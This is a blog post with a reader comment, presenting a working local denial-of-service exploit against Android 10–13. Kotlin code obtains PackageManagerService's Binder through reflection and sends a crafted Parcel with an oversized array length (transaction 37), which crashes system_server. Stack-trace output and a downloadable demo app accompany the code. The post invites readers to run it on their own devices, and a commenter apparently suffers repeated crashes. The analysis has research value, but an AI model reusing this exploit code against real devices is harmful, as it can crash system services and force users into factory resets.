Android DoS – Parcel.java – OOM BUG/EXPLOIT

This Bug can crash most of all Android Services on devices running Android 10, 11, 12, 13 and maybe more.

Video

APK Download & Sources

The demo app can be downloaded via Github or direct link

Introduction

This Bug can be reproduced by any App that has been installed on a targeted device. This is not a Remote exploit that can be triggered vie Network but it is possible to shutdown a particular Service running on the device. This can be System services as well as 3rd party services or vendor services.

In general this Bug is related to the Binder IPC framework and can be triggered via an crafted Parcel object. On the remote service this will lead an OOM Exception and if the exception is unhandled the remote service will crash.

Concept

This Android Bug will is located in the Parcel.java class which is part of the Android’s IPC (Inter Process Communication) mechanism called Binder. [1] This will be used in order to share data and trigger events between different processes as Apps, Services, SystemServices and other Android components.

The following picture will give us a rough image how this Bug can be reproduced by attacking the PackageManagerService.

The technical concept of this Bug/Exploit

Implementation

val ActivityThreadClass = Class.forName("android.app.ActivityThread")
val GetPackageManagerMethod = ActivityThreadClass.getDeclaredMethod("getPackageManager")
GetPackageManagerMethod.isAccessible = true
val IPackageManagerProxy = GetPackageManagerMethod.invoke(null)

val mRemoteField = IPackageManagerProxy::class.java.getDeclaredField("mRemote")
mRemoteField.isAccessible = true
val mRemote = mRemoteField.get(IPackageManagerProxy) as IBinder

[Code 1]

The listing [Code 1] is able to gather the mRemote field of the Proxy class [6] that which allows us to get the IBinder object that is Bound to the PackageManagerService. This Object implements the IBinder interface and allows us later to call the transact(…) method in order to ship our payload.

        val data = Parcel.obtain();
        data.writeInterfaceToken("android.content.pm.IPackageManager")
        val l1 = intArrayOf(
            0xfffffff, // INTENDED
            0x00000113,
            0xff00000,
            0xff00000,
            0xff00000,
            0xff00000,
            0xff00000,
            -1,
            -1
        )
        l1.forEach {
            data.writeInt(it)
        }

[Code 2 ]

As a next step we have to create our payload in Listing [Code 2]. First we have to obtain a new Parcel object and write our InterfaceToken [7, 8] in order to let the PackageManagerService (in detail the Stub of our aidl generated IPackageManager.aidl which is implemented by the PackageManagerService) accept our request [9].

Now we create an array of integers while the first integer has to be 0xfffffff. All other integers are just randomly choosen. Finally we write the full array into our parcel object using the writeInt(…) method. We are not allowed to use the writeIntArray(…) function because we want the Binder interface to beleve that we’re going to ship multiple objects. In general the Android Binder has an offset table pointing to each object in the marshalled payload. If we would use an int array, the offset table would have only one entry. But instead we want to meme a function call with multiple parameters so we have to take care that multiple offsets appear in the offset table [9].

val reply = Parcel.obtain()
val res = mRemote.transact(37, data, reply, 17) //android 11, 12, 13

[Code 3 – ]

The last code Block will now obtain an Parcel for the result and transfer our paylaod Parcel to the Remote process using the transact(…) method. Technically this means the kernel will write the marshalled Parcel into the memory of the remote service and calls it’s execTransact(…) method using the code 37 as first parameter. This function will then call the onTransact(…) function of The IPackageManager.Stub. The switch case there will now select the TRANSACTION_getPackagesHoldingPermissions case. [10]

Understand the Android side

        case TRANSACTION_getPackagesHoldingPermissions:
        {
          java.lang.String[] _arg0;
          _arg0 = data.createStringArray();
          long _arg1;
          _arg1 = data.readLong();
          int _arg2;
          _arg2 = data.readInt();
          data.enforceNoDataAvail();
          android.content.pm.ParceledListSlice _result = this.getPackagesHoldingPermissions(_arg0, _arg1, _arg2);
          reply.writeNoException();
          reply.writeTypedObject(_result, android.os.Parcelable.PARCELABLE_WRITE_RETURN_VALUE);
          break;
        }

[Code 4 – IPackageManager.Stub [10]]

The listing of [Code 4] is executed in the PackageManagerService Process and tries to parse our self crafted payload. As we can see the first call is the createStringArray(…) function which is part of the Parcel.java class. This method will call the createString16Array(…) function.

    @Nullable
    public final String[] createString16Array() {
        int N = readInt();
        if (N >= 0) {
            String[] val = new String[N];
            for (int i=0; i<N; i++) {
                val[i] = readString16();
            }
            return val;
        } else {
            return null;
        }
    }

[Code 5 – Parcel.java [11]]

The function createStringArray16(…) as we can see in [Code 5] will now call the readInt(…) method. This method will now read our first integer of our transfered parcel [11] which will be the first value of the array we created in [Code 2]. So the variable N has now the value 0xfffffff and N >= 0 will be true. The next line will now try to allocate a String array of the size N and finally provocates the unhandeled OOM Exception which causes our Service to die.

system_server: Throwing OutOfMemoryError "Failed to allocate a 1073741832 byte allocation with 6291456 free bytes and 502MB until OOM, target footprint 16561752, growth limit 536870912" (VmSize 2123172 kB)
JavaBinder: *** Uncaught remote exception!  (Exceptions are not yet supported across processes.)
JavaBinder: java.lang.OutOfMemoryError: Failed to allocate a 1073741832 byte allocation with 6291456 free bytes and 502MB until OOM, target footprint 16561752, growth limit 536870912
JavaBinder: 	at android.os.Parcel.createStringArray(Parcel.java:1367)
JavaBinder: 	at android.content.pm.IPackageManager$Stub.onTransact(IPackageManager.java:2017)
JavaBinder: 	at com.android.server.pm.PackageManagerService.onTransact(PackageManagerService.java:4014)
JavaBinder: 	at android.os.Binder.execTransactInternal(Binder.java:1021)
JavaBinder: 	at android.os.Binder.execTransact(Binder.java:994)

[Code 6 – Stacktrace of the remote Exception]

As listed in [Code 6] the remote exception of the System service will tell us the call history and prove our research of how to provocate this issue. We see that the remote service is trying to allocate an huge size of memory which is guaranteed to fail. the log line “Exceptions are not yet supported across processes.” tells us that the Binder inteface is not yet designed to forward unexpected (mostly runtime exceptions) to the caller process and thus the service will die.

Summary

The explained Bug/Exploit inside the Binder framework is another example of the potential of vulnerabilities of this framework. The potential of future findings in this API is promising and worth it to have a deeper look in a next posting/video.

In general this Bug can be provocated by any app and could in the worst case force end users to do a factory reset of the entire device to get rid of an endless rebooting device. So I would recommend to write much deeper unittests for the Parcel.java and maybe generate automated tests for every aidl generated interface out of the box. This could potentially improve the situation.

Thanks for reading and watching my video. Visit me on Github, Youtube and Twitter.

Feel free to test this Bug/Exploit on ur device and leave a comment and ur device type /Android version and help us to track the impact of this issue!

Cu





Sources

[1] – https://stackoverflow.com/questions/12462115/android-binder
[2] – https://stackoverflow.com/questions/6578372/android-binder-driver
[3] – https://stackoverflow.com/questions/6686686/android-binder-security
[4] – https://stackoverflow.com/questions/12509418/android-binder-internals
[5] – https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/pm/PackageManagerService.java;l=317?q=PackageManagerService&sq=
[6] – https://cs.android.com/android/platform/superproject/+/master:out/soong/.intermediates/frameworks/base/framework-minus-apex-intdefs/android_common/xref35/srcjars.xref/android/content/pm/IPackageManager.java;l=4318?q=IPackageManager%20Stub%20Proxy
[7] – https://cs.android.com/android/platform/superproject/+/master:out/soong/.intermediates/frameworks/base/framework-minus-apex-intdefs/android_common/xref35/srcjars.xref/android/content/pm/IPackageManager.java;l=8312
[8] – https://cs.android.com/android/platform/superproject/+/master:out/soong/.intermediates/frameworks/base/framework-minus-apex-intdefs/android_common/xref35/srcjars.xref/android/content/pm/IPackageManager.java;l=4338
[9] – https://cs.android.com/android/platform/superproject/+/master:system/libhwbinder/include/hwbinder/Parcel.h;drc=b5f6e0014e7170830c61b40217c1e736611814c6;l=295
[10] – https://cs.android.com/android/platform/superproject/+/master:out/soong/.intermediates/frameworks/base/framework-minus-apex-intdefs/android_common/xref35/srcjars.xref/android/content/pm/IPackageManager.java;l=2379

[11 – https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/Parcel.java;drc=cdb5f00ecb3456c82011cd9c3668447e8061b9d5;l=1817%5D


One thought on “Android DoS – Parcel.java – OOM BUG/EXPLOIT

  1. This is no fun, Does factory resetting get rid of it or what does as ‚m dealing currently with it on my recently purchased refurbished note 10+ device but i don’t have time go through reprogramming to play with it. Please help

    Like

Leave a comment